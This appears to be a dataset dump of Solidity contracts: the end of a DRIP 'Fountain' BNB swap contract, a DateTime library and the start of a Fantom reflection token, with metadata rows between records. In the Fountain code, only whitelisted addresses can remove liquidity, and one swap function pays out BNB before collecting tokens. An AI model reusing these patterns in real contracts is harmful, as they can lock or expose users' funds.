_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0),"4");
require(owner != address(0),"5");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface IToken {
function calculateTransferTaxes(address _from, uint256 _value) external view returns (uint256 adjustedValue, uint256 taxAmount);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function burn(uint256 _value) external;
}
contract Fountain is BEP20, Whitelist {
string public constant name = "DRIP Liquidity Token";
string public constant symbol = "DROPS";
uint8 public constant decimals = 18;
// Variables
IToken internal token; // address of the BEP20 token traded on this contract
uint256 public totalTxs;
uint256 internal lastBalance_;
uint256 internal trackingInterval_ = 1 minutes;
uint256 public providers;
mapping (address => bool) internal _providers;
mapping (address => uint256) internal _txs;
bool public isPaused = true;
// Events
event onTokenPurchase(address indexed buyer, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onBnbPurchase(address indexed buyer, uint256 indexed token_amount, uint256 indexed bnb_amount);
event onAddLiquidity(address indexed provider, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onRemoveLiquidity(address indexed provider, uint256 indexed bnb_amount, uint256 indexed token_amount);
event onLiquidity(address indexed provider, uint256 indexed amount);
event onContractBalance(uint256 balance);
event onPrice(uint256 price);
event onSummary(uint256 liquidity, uint256 price);
constructor (address token_addr) Ownable() public {
token = IToken(token_addr);
lastBalance_= now;
}
function unpause() public onlyOwner {
isPaused = false;
}
function pause() public onlyOwner {
isPaused = true;
}
modifier isNotPaused() {
require(!isPaused, "Swaps currently paused");
_;
}
receive() external payable {
bnbToTokenInput(msg.value, 1, msg.sender, msg.sender);
}
function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0, "INVALID_VALUE");
uint256 input_amount_with_fee = input_amount.mul(990);
uint256 numerator = input_amount_with_fee.mul(output_reserve);
uint256 denominator = input_reserve.mul(1000).add(input_amount_with_fee);
return numerator / denominator;
}
function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0,"input_reserve & output reserve must >0");
uint256 numerator = input_reserve.mul(output_amount).mul(1000);
uint256 denominator = (output_reserve.sub(output_amount)).mul(990);
return (numerator / denominator).add(1);
}
function bnbToTokenInput(uint256 bnb_sold, uint256 min_tokens, address buyer, address recipient) private returns (uint256) {
require(bnb_sold > 0 && min_tokens > 0, "sold and min 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_bought = getInputPrice(bnb_sold, address(this).balance.sub(bnb_sold), token_reserve);
require(tokens_bought >= min_tokens, "tokens_bought >= min_tokens");
require(token.transfer(recipient, tokens_bought), "transfer err");
emit onTokenPurchase(buyer, bnb_sold, tokens_bought);
emit onContractBalance(bnbBalance());
trackGlobalStats();
return tokens_bought;
}
function bnbToTokenSwapInput(uint256 min_tokens) public payable isNotPaused returns (uint256) {
return bnbToTokenInput(msg.value, min_tokens,msg.sender, msg.sender);
}
function bnbToTokenOutput(uint256 tokens_bought, uint256 max_bnb, address buyer, address recipient) private returns (uint256) {
require(tokens_bought > 0 && max_bnb > 0,"tokens_bought > 0 && max_bnb >");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_sold = getOutputPrice(tokens_bought, address(this).balance.sub(max_bnb), token_reserve);
// Throws if bnb_sold > max_bnb
uint256 bnb_refund = max_bnb.sub(bnb_sold);
if (bnb_refund > 0) {
payable(buyer).transfer(bnb_refund);
}
require(token.transfer(recipient, tokens_bought),"error");
emit onTokenPurchase(buyer, bnb_sold, tokens_bought);
trackGlobalStats();
return bnb_sold;
}
function bnbToTokenSwapOutput(uint256 tokens_bought) public payable isNotPaused returns (uint256) {
return bnbToTokenOutput(tokens_bought, msg.value, msg.sender, msg.sender);
}
function tokenToBnbInput(uint256 tokens_sold, uint256 min_bnb, address buyer, address recipient) private returns (uint256) {
require(tokens_sold > 0 && min_bnb > 0,"tokens_sold > 0 && min_bnb > 0");
uint256 token_reserve = token.balanceOf(address(this));
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
uint256 bnb_bought = getInputPrice(realized_sold, token_reserve, address(this).balance);
require(bnb_bought >= min_bnb,"bnb_bought >= min_bnb");
payable(recipient).transfer(bnb_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transforfrom error");
emit onBnbPurchase(buyer, tokens_sold, bnb_bought);
trackGlobalStats();
return bnb_bought;
}
function tokenToBnbSwapInput(uint256 tokens_sold, uint256 min_bnb) public isNotPaused returns (uint256) {
return tokenToBnbInput(tokens_sold, min_bnb, msg.sender, msg.sender);
}
function tokenToBnbOutput(uint256 bnb_bought, uint256 max_tokens, address buyer, address recipient) private returns (uint256) {
require(bnb_bought > 0,"bnb_bought > 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_sold = getOutputPrice(bnb_bought, token_reserve, address(this).balance);
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
tokens_sold += taxAmount;
// tokens sold is always > 0
require(max_tokens >= tokens_sold, 'max tokens exceeded');
payable(recipient).transfer(bnb_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transorfroom error");
emit onBnbPurchase(buyer, tokens_sold, bnb_bought);
trackGlobalStats();
return tokens_sold;
}
function tokenToBnbSwapOutput(uint256 bnb_bought, uint256 max_tokens) public isNotPaused returns (uint256) {
return tokenToBnbOutput(bnb_bought, max_tokens, msg.sender, msg.sender);
}
function trackGlobalStats() private {
uint256 price = getBnbToTokenOutputPrice(1e18);
uint256 balance = bnbBalance();
if (now.safeSub(lastBalance_) > trackingInterval_) {
emit onSummary(balance * 2, price);
lastBalance_ = now;
}
emit onContractBalance(balance);
emit onPrice(price);
totalTxs += 1;
_txs[msg.sender] += 1;
}
function getBnbToTokenInputPrice(uint256 bnb_sold) public view returns (uint256) {
require(bnb_sold > 0,"bnb_sold > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
return getInputPrice(bnb_sold, address(this).balance, token_reserve);
}
function getBnbToTokenOutputPrice(uint256 tokens_bought) public view returns (uint256) {
require(tokens_bought > 0,"tokens_bought > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_sold = getOutputPrice(tokens_bought, address(this).balance, token_reserve);
return bnb_sold;
}
function getTokenToBnbInputPrice(uint256 tokens_sold) public view returns (uint256) {
require(tokens_sold > 0, "token sold < 0,,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance);
return bnb_bought;
}
function getTokenToBnbOutputPrice(uint256 bnb_bought) public view returns (uint256) {
require(bnb_bought > 0,"bnb_bought > 0,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
return getOutputPrice(bnb_bought, token_reserve, address(this).balance);
}
function tokenAddress() public view returns (address) {
return address(token);
}
function bnbBalance() public view returns (uint256) {
return address(this).balance;
}
function tokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getBnbToLiquidityInputPrice(uint256 bnb_sold) public view returns (uint256){
require(bnb_sold > 0,"bnb_sold > 0,,,,,3");
uint256 token_amount = 0;
uint256 total_liquidity = _totalSupply;
uint256 bnb_reserve = address(this).balance;
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (bnb_sold.mul(token_reserve) / bnb_reserve).add(1);
uint256 liquidity_minted = bnb_sold.mul(total_liquidity) / bnb_reserve;
return liquidity_minted;
}
function getLiquidityToReserveInputPrice(uint amount) public view returns (uint256, uint256){
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0,"total_liquidity > 0,,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
return (bnb_amount, token_amount);
}
function txs(address owner) public view returns (uint256) {
return _txs[owner];
}
function addLiquidity(uint256 min_liquidity, uint256 max_tokens) isNotPaused public payable returns (uint256) {
require(max_tokens > 0 && msg.value > 0, "Swap#addLiquidity: INVALID_ARGUMENT");
uint256 total_liquidity = _totalSupply;
uint256 token_amount = 0;
if (_providers[msg.sender] == false){
_providers[msg.sender] = true;
providers += 1;
}
if (total_liquidity > 0) {
require(min_liquidity > 0,"min_liquidity > 0,,,,4");
uint256 bnb_reserve = address(this).balance.sub(msg.value);
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (msg.value.mul(token_reserve) / bnb_reserve).add(1);
uint256 liquidity_minted = msg.value.mul(total_liquidity) / bnb_reserve;
require(max_tokens >= token_amount && liquidity_minted >= min_liquidity,"max_tokens >= token_amount && liquidity_minted >= min_liquidity,,,,1");
_balances[msg.sender] = _balances[msg.sender].add(liquidity_minted);
_totalSupply = total_liquidity.add(liquidity_minted);
require(token.transferFrom(msg.sender, address(this), token_amount),"transfrom4 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, liquidity_minted);
return liquidity_minted;
} else {
require(msg.value >= 1e18, "INVALID_VALUE");
token_amount = max_tokens;
uint256 initial_liquidity = address(this).balance;
_totalSupply = initial_liquidity;
_balances[msg.sender] = initial_liquidity;
require(token.transferFrom(msg.sender, address(this), token_amount),"transforfrom 5 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, initial_liquidity);
return initial_liquidity;
}
}
function removeLiquidity(uint256 amount, uint256 min_bnb, uint256 min_tokens) onlyWhitelisted public returns (uint256, uint256) {
require(amount > 0 && min_bnb > 0 && min_tokens > 0,"amount > 0 && min_bnb > 0 && min_tokens > 0,333");
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0);
uint256 token_reserve = token.balanceOf(address(this));
uint256 bnb_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
require(bnb_amount >= min_bnb && token_amount >= min_tokens,"(bnb_amount >= min_bnb && token_amount >= min_tokens,33");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = total_liquidity.sub(amount);
msg.sender.transfer(bnb_amount);
require(token.transfer(msg.sender, token_amount),"transfer error");
emit onRemoveLiquidity(msg.sender, bnb_amount, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(msg.sender, address(0), amount);
return (bnb_amount, token_amount);
}
}
//splash token 0xe0046B0873132643C338291F399143F8EA4c38f6
//Splash token on mainnet 0xe84bD7E8d14f5795178Ea2741C3F680813343ad5
| 92,650 | 13,262 |
28ed1c078a6f17b7acd723d6ddcd275506bd5ffc78887f04e35a19b814c8a395
| 14,202 |
.sol
|
Solidity
| false |
377365780
|
EtherAuthority/Smart-Contracts-Library
|
399c758deb5f01b6319ad9af2b6fe9559eb4ebca
|
Vesting/DateTime.sol
| 4,488 | 14,141 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ----------------------------------------------------------------------------
// DateTime Library v2.0
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library DateTime {
uint256 constant SECONDS_PER_DAY = 24 * 60 * 60;
uint256 constant SECONDS_PER_HOUR = 60 * 60;
uint256 constant SECONDS_PER_MINUTE = 60;
int256 constant OFFSET19700101 = 2440588;
uint256 constant DOW_MON = 1;
uint256 constant DOW_TUE = 2;
uint256 constant DOW_WED = 3;
uint256 constant DOW_THU = 4;
uint256 constant DOW_FRI = 5;
uint256 constant DOW_SAT = 6;
uint256 constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint256 year, uint256 month, uint256 day) internal pure returns (uint256 _days) {
require(year >= 1970);
int256 _year = int256(year);
int256 _month = int256(month);
int256 _day = int256(day);
int256 __days = _day - 32075 + (1461 * (_year + 4800 + (_month - 14) / 12)) / 4
+ (367 * (_month - 2 - ((_month - 14) / 12) * 12)) / 12
- (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) / 4 - OFFSET19700101;
_days = uint256(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint256 _days) internal pure returns (uint256 year, uint256 month, uint256 day) {
unchecked {
int256 __days = int256(_days);
int256 L = __days + 68569 + OFFSET19700101;
int256 N = (4 * L) / 146097;
L = L - (146097 * N + 3) / 4;
int256 _year = (4000 * (L + 1)) / 1461001;
L = L - (1461 * _year) / 4 + 31;
int256 _month = (80 * L) / 2447;
int256 _day = L - (2447 * _month) / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint256(_year);
month = uint256(_month);
day = uint256(_day);
}
}
function timestampFromDate(uint256 year, uint256 month, uint256 day) internal pure returns (uint256 timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint256 year,
uint256 month,
uint256 day,
uint256 hour,
uint256 minute,
uint256 second)
internal
pure
returns (uint256 timestamp)
{
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR
+ minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint256 timestamp) internal pure returns (uint256 year, uint256 month, uint256 day) {
unchecked {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
}
function timestampToDateTime(uint256 timestamp)
internal
pure
returns (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, uint256 second)
{
unchecked {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint256 secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
}
function isValidDate(uint256 year, uint256 month, uint256 day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, uint256 second)
internal
pure
returns (bool valid)
{
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {
(uint256 year,,) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint256 year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {
(uint256 year, uint256 month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint256 year, uint256 month) internal pure returns (uint256 daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {
uint256 _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = ((_days + 3) % 7) + 1;
}
function getYear(uint256 timestamp) internal pure returns (uint256 year) {
(year,,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint256 timestamp) internal pure returns (uint256 month) {
(, month,) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint256 timestamp) internal pure returns (uint256 day) {
(,, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint256 timestamp) internal pure returns (uint256 hour) {
uint256 secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {
uint256 secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint256 timestamp) internal pure returns (uint256 second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp >= timestamp);
}
function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = ((month - 1) % 12) + 1;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp >= timestamp);
}
function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp <= timestamp);
}
function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {
(uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint256 yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = (yearMonth % 12) + 1;
uint256 daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + (timestamp % SECONDS_PER_DAY);
require(newTimestamp <= timestamp);
}
function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {
require(fromTimestamp <= toTimestamp);
(uint256 fromYear,,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint256 toYear,,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {
require(fromTimestamp <= toTimestamp);
(uint256 fromYear, uint256 fromMonth,) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(uint256 toYear, uint256 toMonth,) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
| 234,528 | 13,263 |
a460159ee07245a01e17f6e7ac51e2060d62a9beb0f7363e3c5f9c19cff6e033
| 18,845 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/63/639E966418155C9Fe84E3A3A5d45125F4Fd58d67_HyperFantomProtocol.sol
| 4,187 | 15,815 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HyperFantomProtocol is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'HyperFantomProtocol';
string private _symbol = 'HFP';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
